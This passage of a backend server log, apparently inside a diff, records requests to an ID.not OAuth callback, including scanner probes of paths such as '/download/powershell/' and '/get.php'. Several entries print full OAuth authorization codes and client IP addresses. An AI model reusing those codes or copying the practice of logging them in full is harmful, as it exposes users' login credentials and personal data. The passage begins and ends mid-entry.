} +} +ℹ️ [INFO] 2025-09-23T17:17:58.317Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647878315_p4oi8e80t', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T17:17:58.318Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758647878317_9bwzzrknp', + response: { + statusCode: 200 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '66.132.153.117', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T17:20:11.389Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' + }, + requestId: 'req_1758648011389_yf5sbic1j' +} +❌ [ERROR] 2025-09-23T17:20:11.390Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' + }, + requestId: 'req_1758648011389_yf5sbic1j', + response: { + statusCode: 400 + } +} +ℹ️ [INFO] 2025-09-23T17:53:34.133Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758650014132_33i2my5qk', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T17:58:34.335Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758650314334_8p20b7kql', + response: { + statusCode: 200 + } +} +❌ [ERROR] 2025-09-23T18:03:25.513Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758650605512_of7poe23h', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '199.45.155.81', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T18:10:36.360Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' + }, + requestId: 'req_1758651036359_jx4hv58o8' +} +❌ [ERROR] 2025-09-23T18:10:36.361Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' + }, + requestId: 'req_1758651036359_jx4hv58o8', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T18:14:55.820Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:161.35.95.45', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' + }, + requestId: 'req_1758651295819_6sr86hab0', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T18:14:55.864Z HTTP GET /download/powershell/ - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:161.35.95.45', + method: 'GET', + url: '/download/powershell/', + userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' + }, + requestId: 'req_1758651295863_cjzu2mwuf', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T18:14:55.906Z HTTP GET /get.php - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:161.35.95.45', + method: 'GET', + url: '/get.php', + userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' + }, + requestId: 'req_1758651295906_hhsbe67h0', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T18:39:29.979Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758652769979_3773mlfzp', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T19:21:54.827Z HTTP GET /script - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.135.193.254', + method: 'GET', + url: '/script', + userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0' + }, + requestId: 'req_1758655314827_4pznqlf2t', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T19:26:33.623Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758655593622_pymwhvl0j', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-23T20:04:06.186Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758657846185_t4go8hbk7', + response: { + statusCode: 200 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '172.236.228.218', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T20:05:38.360Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' + }, + requestId: 'req_1758657938359_ow153znwm' +} +❌ [ERROR] 2025-09-23T20:05:38.361Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' + }, + requestId: 'req_1758657938359_ow153znwm', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '78.241.54.161', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T20:05:48.535Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758657948534_npfw2fxu3' +} +❌ [ERROR] 2025-09-23T20:05:48.536Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758657948534_npfw2fxu3', + response: { + statusCode: 400 + } +} +ℹ️ [INFO] 2025-09-23T20:06:25.518Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758657985517_gy014pc1p', + response: { + statusCode: 200 + } +} +❌ [ERROR] 2025-09-23T20:07:26.869Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:91.148.240.220', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (x11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' + }, + requestId: 'req_1758658046869_cf5fpxboz', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T20:07:35.414Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:84.104.229.103', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758658055413_bv663kst9', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T20:15:17.444Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758658517443_c2crku3i1', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-23T20:15:50.679Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758658550678_i64vwrkmj', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-23T20:17:50.405Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758658670404_667rthoy3', + response: { + statusCode: 200 + } +} +❌ [ERROR] 2025-09-23T20:21:28.475Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:198.235.24.105', + method: 'GET', + url: '/', + userAgent: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity' + }, + requestId: 'req_1758658888474_2lq8jswan', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y87rphgyqlyGE9-RU7qKsJnRkXpXhU5BNXPgsz51sTC_5jAk6N2uPpu0NZZDX07j5QSrUlegMGuiBZHWIeuQsnAgD89S0os8xzNXXwse1uyIPgg7mcXMt4iBqoazNXmMUwBBk_rgKc4O0-WJPHqi4pJG0ON4XgqTknp6Qhk_J8d-H68VYm5SUtNRelIX4CBPNs-TaZlMtsGySP1faWtrf0jYf0U09H2EnKVu8sba-fSb1-wNMhXqNfZ_9HkQ0Uj5QSTubihCaxNmeYaAIndLWLxAYoeXCLTOyL4mvJflE_lEg62RmlyXoWUnm73WUVWytfPoim6uLpcJioy6WIIXrZ0YCmU3pO4pAzx6jwWbhfjBYN5LsP5Zed2X7eyDmM7HtqgBt6p7nlpG8qNG2WY6nfghOQOZszZQeQBEHP1QL9ntJ4j-nmiZ4ZK4Vo', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '54.175.74.27', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T20:27:22.653Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y87rphgyqlyGE9-RU7qKsJn'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y8'... 440 more characters, + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' + }, + requestId: 'req_1758659242652_9rouz12w2' +} +❌ [ERROR] 2025-09-23T20:27:22.654Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y87rphgyqlyGE9-RU7qKsJnRkXpXhU5BNXPgsz51sTC_5jAk6N2uPpu0NZZDX07j5QSrUlegMGuiBZHWIeuQsnAgD89S0os8xzNXXwse1uyIPgg7mcXMt4iBqoazNXmMUwBBk_rgKc4O0-WJPHqi4pJG0ON4XgqTknp6Qhk_J8d-H68VYm5SUtNRelIX4CBPNs-TaZlMtsGySP1faWtrf0jYf0U09H2EnKVu8sba-fSb1-wNMhXqNfZ_9HkQ0Uj5QSTubihCaxNmeYaAIndLWLxAYoeXCLTOyL4mvJflE_lEg62RmlyXoWUnm73WUVWytfPoim6uLpcJioy6WIIXrZ0YCmU3pO4pAzx6jwWbhfjBYN5LsP5Zed2X7eyDmM7HtqgBt6p7nlpG8qNG2WY6nfghOQOZszZQeQBEHP1QL9ntJ4j-nmiZ4ZK4Vo - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SRGYn1KE_TurVfU5HqNS8yssv4tmW02X8MPcqbromHBWIGF6pG8EVRFzBXjUw87O35n0TwgHUg3nUb22RFQtbk2Zuf271y8'... 440 more characters, + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' + }, + requestId: 'req_1758659242652_9rouz12w2', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T20:40:24.101Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758660024100_srvqp61zg', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '192.155.90.220', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T21:07:35.975Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' + }, + requestId: 'req_1758661655974_sldmx9xn1' +} +❌ [ERROR] 2025-09-23T21:07:35.976Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' + }, + requestId: 'req_1758661655974_sldmx9xn1', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '199.45.154.135', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T21:09:15.411Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' + }, + requestId: 'req_1758661755410_n1evwlio3' +} +❌ [ERROR] 2025-09-23T21:09:15.412Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' + }, + requestId: 'req_1758661755410_n1evwlio3', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T21:52:29.310Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:205.210.31.249', + method: 'GET', + url: '/', + userAgent: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity' + }, + requestId: 'req_1758664349310_epgwjgt4f', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T21:53:08.999Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:102.67.180.50', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' + }, + requestId: 'req_1758664388998_6ntebp5c4', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T22:00:12.716Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758664812715_ont041phg', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T22:07:54.795Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758665274794_sdf7p79nz', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T22:19:36.069Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:192.159.99.180', + method: 'GET', + url: '/', + userAgent: 'Hello World' + }, + requestId: 'req_1758665976068_7sjo5a3zk', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-23T22:24:14.802Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758666254801_7orkb9027', + response: { + statusCode: 200 + } +} +[IdNotCallback] incoming request { + originalUrl: 